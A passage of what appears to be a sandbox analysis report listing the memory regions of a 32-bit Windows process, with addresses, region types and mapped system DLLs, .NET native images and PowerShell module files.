"c:\\windows\\syswow64\\en-us\\tzres.dll.mui") Region: id = 1722 start_va = 0x2b0000 end_va = 0x2b0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tzres.dll" filename = "\\Windows\\SysWOW64\\tzres.dll" (normalized: "c:\\windows\\syswow64\\tzres.dll") Region: id = 1723 start_va = 0x2b0000 end_va = 0x2b6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tzres.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\tzres.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\tzres.dll.mui") Region: id = 1740 start_va = 0x49c0000 end_va = 0x49fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000049c0000" filename = "" Region: id = 1741 start_va = 0x4e20000 end_va = 0x4e5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004e20000" filename = "" Region: id = 1742 start_va = 0x4ef0000 end_va = 0x4f2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004ef0000" filename = "" Region: id = 1743 start_va = 0x4f70000 end_va = 0x4faffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004f70000" filename = "" Region: id = 1744 start_va = 0x7ef92000 end_va = 0x7ef94fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ef92000" filename = "" Region: id = 1745 start_va = 0x7ef95000 end_va = 0x7ef97fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ef95000" filename = "" Region: id = 1746 start_va = 0x5fd00000 end_va = 0x60519fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.data.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Data\\df2dd09ed7c341842a104e1e668f184e\\System.Data.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.data\\df2dd09ed7c341842a104e1e668f184e\\system.data.ni.dll") Region: id = 1749 start_va = 0x5f9a0000 end_va = 0x5fcf3fff monitored = 1 entry_point = 0x5fcd7a72 region_type = mapped_file name = "system.data.dll" filename = "\\Windows\\Microsoft.NET\\assembly\\GAC_32\\System.Data\\v4.0_4.0.0.0__b77a5c561934e089\\System.Data.dll" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_32\\system.data\\v4.0_4.0.0.0__b77a5c561934e089\\system.data.dll") Region: id = 1762 start_va = 0x76200000 end_va = 0x76234fff monitored = 0 entry_point = 0x7620145d region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\SysWOW64\\ws2_32.dll" (normalized: "c:\\windows\\syswow64\\ws2_32.dll") Region: id = 1763 start_va = 0x774b0000 end_va = 0x774b5fff monitored = 0 entry_point = 0x774b1782 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\SysWOW64\\nsi.dll" (normalized: "c:\\windows\\syswow64\\nsi.dll") Region: id = 1764 start_va = 0x4fb0000 end_va = 0x5300fff monitored = 1 entry_point = 0x52e7a72 region_type = mapped_file name = "system.data.dll" filename = "\\Windows\\Microsoft.NET\\assembly\\GAC_32\\System.Data\\v4.0_4.0.0.0__b77a5c561934e089\\System.Data.dll" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_32\\system.data\\v4.0_4.0.0.0__b77a5c561934e089\\system.data.dll") Region: id = 1765 start_va = 0x4fb0000 end_va = 0x5300fff monitored = 1 entry_point = 0x52e7a72 region_type = mapped_file name = "system.data.dll" filename = "\\Windows\\Microsoft.NET\\assembly\\GAC_32\\System.Data\\v4.0_4.0.0.0__b77a5c561934e089\\System.Data.dll" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_32\\system.data\\v4.0_4.0.0.0__b77a5c561934e089\\system.data.dll") Region: id = 1766 start_va = 0x4fb0000 end_va = 0x5300fff monitored = 1 entry_point = 0x52e7a72 region_type = mapped_file name = "system.data.dll" filename = "\\Windows\\Microsoft.NET\\assembly\\GAC_32\\System.Data\\v4.0_4.0.0.0__b77a5c561934e089\\System.Data.dll" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_32\\system.data\\v4.0_4.0.0.0__b77a5c561934e089\\system.data.dll") Region: id = 1767 start_va = 0x4fb0000 end_va = 0x5300fff monitored = 1 entry_point = 0x52e7a72 region_type = mapped_file name = "system.data.dll" filename = "\\Windows\\Microsoft.NET\\assembly\\GAC_32\\System.Data\\v4.0_4.0.0.0__b77a5c561934e089\\System.Data.dll" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_32\\system.data\\v4.0_4.0.0.0__b77a5c561934e089\\system.data.dll") Region: id = 1771 start_va = 0x2b0000 end_va = 0x2bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002b0000" filename = "" Region: id = 1775 start_va = 0x60db0000 end_va = 0x60db2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-core-xstate-l2-1-0.dll" filename = "\\Windows\\SysWOW64\\api-ms-win-core-xstate-l2-1-0.dll" (normalized: "c:\\windows\\syswow64\\api-ms-win-core-xstate-l2-1-0.dll") Region: id = 1776 start_va = 0x5f910000 end_va = 0x5f998fff monitored = 1 entry_point = 0x5f911130 region_type = mapped_file name = "clrjit.dll" filename = "\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\clrjit.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\clrjit.dll") Region: id = 1781 start_va = 0x3f0000 end_va = 0x3fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003f0000" filename = "" Region: id = 1783 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000440000" filename = "" Region: id = 1791 start_va = 0x5f8a0000 end_va = 0x5f8f3fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "microsoft.powershell.security.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Microsoft.P6f792626#\\fbf36f7901fec6a367af3bc05a96b929\\Microsoft.PowerShell.Security.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\microsoft.p6f792626#\\fbf36f7901fec6a367af3bc05a96b929\\microsoft.powershell.security.ni.dll") Region: id = 1800 start_va = 0x4c30000 end_va = 0x4c6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004c30000" filename = "" Region: id = 1801 start_va = 0x4e80000 end_va = 0x4ebffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004e80000" filename = "" Region: id = 1802 start_va = 0x7ef8f000 end_va = 0x7ef91fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ef8f000" filename = "" Region: id = 1803 start_va = 0x5f7e0000 end_va = 0x5f897fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.transactions.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Transactions\\3d760b4a3260a41ef84a3fd866780980\\System.Transactions.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.transactions\\3d760b4a3260a41ef84a3fd866780980\\system.transactions.ni.dll") Region: id = 1812 start_va = 0x5f790000 end_va = 0x5f7dbfff monitored = 1 entry_point = 0x5f7afcc6 region_type = mapped_file name = "system.transactions.dll" filename = "\\Windows\\Microsoft.NET\\assembly\\GAC_32\\System.Transactions\\v4.0_4.0.0.0__b77a5c561934e089\\System.Transactions.dll" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_32\\system.transactions\\v4.0_4.0.0.0__b77a5c561934e089\\system.transactions.dll") Region: id = 1817 start_va = 0x4c70000 end_va = 0x4cbbfff monitored = 1 entry_point = 0x4c8fcc6 region_type = mapped_file name = "system.transactions.dll" filename = "\\Windows\\Microsoft.NET\\assembly\\GAC_32\\System.Transactions\\v4.0_4.0.0.0__b77a5c561934e089\\System.Transactions.dll" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_32\\system.transactions\\v4.0_4.0.0.0__b77a5c561934e089\\system.transactions.dll") Region: id = 1818 start_va = 0x4c70000 end_va = 0x4cbbfff monitored = 1 entry_point = 0x4c8fcc6 region_type = mapped_file name = "system.transactions.dll" filename = "\\Windows\\Microsoft.NET\\assembly\\GAC_32\\System.Transactions\\v4.0_4.0.0.0__b77a5c561934e089\\System.Transactions.dll" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_32\\system.transactions\\v4.0_4.0.0.0__b77a5c561934e089\\system.transactions.dll") Region: id = 1819 start_va = 0x4c70000 end_va = 0x4cbbfff monitored = 1 entry_point = 0x4c8fcc6 region_type = mapped_file name = "system.transactions.dll" filename = "\\Windows\\Microsoft.NET\\assembly\\GAC_32\\System.Transactions\\v4.0_4.0.0.0__b77a5c561934e089\\System.Transactions.dll" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_32\\system.transactions\\v4.0_4.0.0.0__b77a5c561934e089\\system.transactions.dll") Region: id = 1820 start_va = 0x4c70000 end_va = 0x4cbbfff monitored = 1 entry_point = 0x4c8fcc6 region_type = mapped_file name = "system.transactions.dll" filename = "\\Windows\\Microsoft.NET\\assembly\\GAC_32\\System.Transactions\\v4.0_4.0.0.0__b77a5c561934e089\\System.Transactions.dll" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_32\\system.transactions\\v4.0_4.0.0.0__b77a5c561934e089\\system.transactions.dll") Region: id = 1833 start_va = 0x4dd0000 end_va = 0x4e0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004dd0000" filename = "" Region: id = 1834 start_va = 0x5080000 end_va = 0x50bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005080000" filename = "" Region: id = 1835 start_va = 0x7ef8f000 end_va = 0x7ef91fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ef8f000" filename = "" Region: id = 1836 start_va = 0x679a0000 end_va = 0x679a7fff monitored = 0 entry_point = 0x679a10e9 region_type = mapped_file name = "secur32.dll" filename = "\\Windows\\SysWOW64\\secur32.dll" (normalized: "c:\\windows\\syswow64\\secur32.dll") Region: id = 1839 start_va = 0x4c20000 end_va = 0x4c9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004c20000" filename = "" Region: id = 1846 start_va = 0x5030000 end_va = 0x506ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005030000" filename = "" Region: id = 1847 start_va = 0x5090000 end_va = 0x50cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005090000" filename = "" Region: id = 1848 start_va = 0x5f640000 end_va = 0x5f6bffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "microsoft.management.infrastructure.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Microsoft.Mf49f6405#\\e3134541fd9904dc895922f5256ef8f3\\Microsoft.Management.Infrastructure.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\microsoft.mf49f6405#\\e3134541fd9904dc895922f5256ef8f3\\microsoft.management.infrastructure.ni.dll") Region: id = 1849 start_va = 0x7ef8f000 end_va = 0x7ef91fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ef8f000" filename = "" Region: id = 1858 start_va = 0x5f5f0000 end_va = 0x5f636fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.numerics.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Numerics\\e7d6ed984300c7212c6e682c4f730b1e\\System.Numerics.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.numerics\\e7d6ed984300c7212c6e682c4f730b1e\\system.numerics.ni.dll") Region: id = 1864 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 1868 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 1875 start_va = 0x4b0000 end_va = 0x4bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004b0000" filename = "" Region: id = 1878 start_va = 0x750000 end_va = 0x75ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000750000" filename = "" Region: id = 1887 start_va = 0x760000 end_va = 0x76ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000760000" filename = "" Region: id = 1893 start_va = 0x770000 end_va = 0x77ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000770000" filename = "" Region: id = 1898 start_va = 0x780000 end_va = 0x78ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000780000" filename = "" Region: id = 1901 start_va = 0x930000 end_va = 0x93ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000930000" filename = "" Region: id = 1904 start_va = 0x940000 end_va = 0x94ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000940000" filename = "" Region: id = 1907 start_va = 0x990000 end_va = 0x99ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000990000" filename = "" Region: id = 1908 start_va = 0x9a0000 end_va = 0x9affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000009a0000" filename = "" Region: id = 1911 start_va = 0x9b0000 end_va = 0x9bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000009b0000" filename = "" Region: id = 1931 start_va = 0x9c0000 end_va = 0x9cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000009c0000" filename = "" Region: id = 1946 start_va = 0x4fc0000 end_va = 0x4ffffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004fc0000" filename = "" Region: id = 1947 start_va = 0x5070000 end_va = 0x50affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005070000" filename = "" Region: id = 1948 start_va = 0x7ef9e000 end_va = 0x7efa0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ef9e000" filename = "" Region: id = 1955 start_va = 0x5f2d0000 end_va = 0x5f467fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "microsoft.csharp.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Microsoft.CSharp\\f73f48afb5512225dedaee9c88ac5050\\Microsoft.CSharp.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\microsoft.csharp\\f73f48afb5512225dedaee9c88ac5050\\microsoft.csharp.ni.dll") Region: id = 1979 start_va = 0xa10000 end_va = 0xa1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a10000" filename = "" Region: id = 1983 start_va = 0xa60000 end_va = 0xa6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a60000" filename = "" Region: id = 1985 start_va = 0xb00000 end_va = 0xb0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000b00000" filename = "" Region: id = 1994 start_va = 0xb10000 end_va = 0xb1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000b10000" filename = "" Region: id = 1996 start_va = 0xb10000 end_va = 0xb1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000b10000" filename = "" Region: id = 2001 start_va = 0xb20000 end_va = 0xb2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000b20000" filename = "" Region: id = 2012 start_va = 0x4a10000 end_va = 0x4a4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004a10000" filename = "" Region: id = 2013 start_va = 0x5100000 end_va = 0x5a8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005100000" filename = "" Region: id = 2014 start_va = 0x7ef9e000 end_va = 0x7efa0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ef9e000" filename = "" Region: id = 2015 start_va = 0x73d60000 end_va = 0x73ddffff monitored = 0 entry_point = 0x73d737c9 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\SysWOW64\\uxtheme.dll" (normalized: "c:\\windows\\syswow64\\uxtheme.dll") Region: id = 2016 start_va = 0x5a90000 end_va = 0x5c5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005a90000" filename = "" Region: id = 2020 start_va = 0x4fb0000 end_va = 0x508efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000004fb0000" filename = "" Region: id = 2023 start_va = 0x73cf0000 end_va = 0x73cfdfff monitored = 0 entry_point = 0x73cf1235 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\SysWOW64\\RpcRtRemote.dll" (normalized: "c:\\windows\\syswow64\\rpcrtremote.dll") Region: id = 2028 start_va = 0x4e80000 end_va = 0x4ebffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004e80000" filename = "" Region: id = 2029 start_va = 0x5ae0000 end_va = 0x5b1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005ae0000" filename = "" Region: id = 2030 start_va = 0x5c20000 end_va = 0x5c5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005c20000" filename = "" Region: id = 2031 start_va = 0x7ef8f000 end_va = 0x7ef91fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ef8f000" filename = "" Region: id = 2050 start_va = 0x50c0000 end_va = 0x50fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000050c0000" filename = "" Region: id = 2051 start_va = 0x5b90000 end_va = 0x5bcffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005b90000" filename = "" Region: id = 2052 start_va = 0x5cd0000 end_va = 0x5d0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005cd0000" filename = "" Region: id = 2053 start_va = 0x5d40000 end_va = 0x5d7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005d40000" filename = "" Region: id = 2054 start_va = 0x7ef89000 end_va = 0x7ef8bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ef89000" filename = "" Region: id = 2055 start_va = 0x7ef8c000 end_va = 0x7ef8efff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ef8c000" filename = "" Region: id = 2056 start_va = 0x5b20000 end_va = 0x5c1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005b20000" filename = "" Region: id = 2066 start_va = 0x4dd0000 end_va = 0x4e0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004dd0000" filename = "" Region: id = 2067 start_va = 0x50a0000 end_va = 0x50dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000050a0000" filename = "" Region: id = 2068 start_va = 0x7ef8c000 end_va = 0x7ef8efff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ef8c000" filename = "" Region: id = 2071 start_va = 0xb20000 end_va = 0xb30fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000b20000" filename = "" Region: id = 2078 start_va = 0x5c90000 end_va = 0x5ccffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005c90000" filename = "" Region: id = 2079 start_va = 0x5df0000 end_va = 0x5e2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005df0000" filename = "" Region: id = 2080 start_va = 0x7ef86000 end_va = 0x7ef88fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ef86000" filename = "" Region: id = 2093 start_va = 0xbc0000 end_va = 0xbc1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "powershellget.psd1" filename = "\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\1.0.0.1\\powershellget.psd1") Region: id = 2094 start_va = 0x65c40000 end_va = 0x65c47fff monitored = 0 entry_point = 0x65c43bf5 region_type = mapped_file name = "msisip.dll" filename = "\\Windows\\SysWOW64\\msisip.dll" (normalized: "c:\\windows\\syswow64\\msisip.dll") Region: id = 2095 start_va = 0x5e30000 end_va = 0x622ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000005e30000" filename = "" Region: id = 2096 start_va = 0xbd0000 end_va = 0xbd1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "powershellget.psd1" filename = "\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\1.0.0.1\\powershellget.psd1") Region: id = 2097 start_va = 0x5e30000 end_va = 0x622ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000005e30000" filename = "" Region: id = 2098 start_va = 0x4cb0000 end_va = 0x4ceffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004cb0000" filename = "" Region: id = 2099 start_va = 0x5f30000 end_va = 0x5f6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005f30000" filename = "" Region: id = 2100 start_va = 0x61090000 end_va = 0x610a5fff monitored = 0 entry_point = 0x610913df region_type = mapped_file name = "wshext.dll" filename = "\\Windows\\SysWOW64\\wshext.dll" (normalized: "c:\\windows\\syswow64\\wshext.dll") Region: id = 2101 start_va = 0x7ef83000 end_va = 0x7ef85fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ef83000" filename = "" Region: id = 2102 start_va = 0x5f240000 end_va = 0x5f2c3fff monitored = 0 entry_point = 0x5f2419a9 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\\comctl32.dll") Region: id = 2103 start_va = 0x5f70000 end_va = 0x611ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005f70000" filename = "" Region: id = 2116 start_va = 0x65c50000 end_va = 0x65c59fff monitored = 0 entry_point = 0x65c54ab0 region_type = mapped_file name = "pwrshsip.dll" filename = "\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\pwrshsip.dll" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\pwrshsip.dll") Region: id = 2288 start_va = 0xbc0000 end_va = 0xbcffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000bc0000" filename = "" Region: id = 2296 start_va = 0x5e00000 end_va = 0x5e3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005e00000" filename = "" Region: id = 2297 start_va = 0x5ea0000 end_va = 0x5edffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005ea0000" filename = "" Region: id = 2298 start_va = 0x7ef86000 end_va = 0x7ef88fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ef86000" filename = "" Region: id = 2303 start_va = 0xbd0000 end_va = 0xbd0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "microsoft.powershell.utility.psd1" filename = "\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psd1") Region: id = 2304 start_va = 0x6120000 end_va = 0x651ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000006120000" filename = "" Region: id = 2305 start_va = 0xc20000 end_va = 0xc20fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "microsoft.powershell.utility.psd1" filename = "\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psd1") Region: id = 2306 start_va = 0x6120000 end_va = 0x651ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000006120000" filename = "" Region: id = 2315 start_va = 0x5e6d0000 end_va = 0x5f23dfff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "microsoft.powershell.commands.utility.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Microsoft.P521220ea#\\f6f5592245815a51dae8c19cd5d04783\\Microsoft.PowerShell.Commands.Utility.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\microsoft.p521220ea#\\f6f5592245815a51dae8c19cd5d04783\\microsoft.powershell.commands.utility.ni.dll") Region: id = 2316 start_va = 0x61060000 end_va = 0x61087fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.configuration.install.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Confe64a9051#\\1561b93d6d25c4a9c3e2659ab29a5e73\\System.Configuration.Install.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.confe64a9051#\\1561b93d6d25c4a9c3e2659ab29a5e73\\system.configuration.install.ni.dll") Region: id = 2323 start_va = 0x5e40000 end_va = 0x5e7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005e40000" filename = "" Region: id = 2324 start_va = 0x5fa0000 end_va = 0x5fdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005fa0000" filename = "" Region: id = 2325 start_va = 0x5fe0000 end_va = 0x60dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005fe0000" filename = "" Region: id = 2326 start_va = 0x6110000 end_va = 0x611ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000006110000" filename = "" Region: id = 2327 start_va = 0xbd0000 end_va = 0xbd7fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "microsoft.powershell.utility.psm1" filename = "\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psm1") Region: id = 2328 start_va = 0x6120000 end_va = 0x651ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000006120000" filename = "" Region: id = 2329 start_va = 0xc20000 end_va = 0xc27fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "microsoft.powershell.utility.psm1" filename = "\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psm1") Region: id = 2330 start_va = 0x6120000 end_va = 0x651ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000006120000" filename = "" Region: id = 2344 start_va = 0xbd0000 end_va = 0xbdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000bd0000" filename = "" Region: id = 2350 start_va = 0xc20000 end_va = 0xc27fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "microsoft.powershell.utility.psm1" filename = "\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psm1") Region: id = 2351 start_va = 0x6120000 end_va = 0x651ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000006120000" filename = "" Region: id = 2352 start_va = 0xc30000 end_va = 0xc37fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "microsoft.powershell.utility.psm1" filename = "\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psm1") Region: id = 2353 start_va = 0x6120000 end_va = 0x651ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000006120000" filename = "" Region: id = 2364 start_va = 0x5c80000 end_va = 0x5cbffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005c80000" filename = "" Region: id = 2365 start_va = 0x5e60000 end_va = 0x5e9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005e60000" filename = "" Region: id = 2366 start_va = 0x7ef86000 end_va = 0x7ef88fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ef86000" filename = "" Region: id = 2369 start_va = 0xc20000 end_va = 0xc2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000c20000" filename = "" Region: id = 2372 start_va = 0x7ef30000 end_va = 0x7ef7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ef30000" filename = "" Region: id = 2373 start_va = 0x7ef20000 end_va = 0x7ef2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ef20000" filename = "" Region: id = 2376 start_va = 0x740a0000 end_va = 0x740aafff monitored = 0 entry_point = 0x740a1992 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\SysWOW64\\profapi.dll" (normalized: "c:\\windows\\syswow64\\profapi.dll") Region: id = 2380 start_va = 0x65f20000 end_va = 0x65f36fff monitored = 0 entry_point = 0x65f235fa region_type = mapped_file name = "bcrypt.dll" filename = "\\Windows\\SysWOW64\\bcrypt.dll" (normalized: "c:\\windows\\syswow64\\bcrypt.dll") Region: id = 2390 start_va = 0x5e5c0000 end_va = 0x5e6c4fff 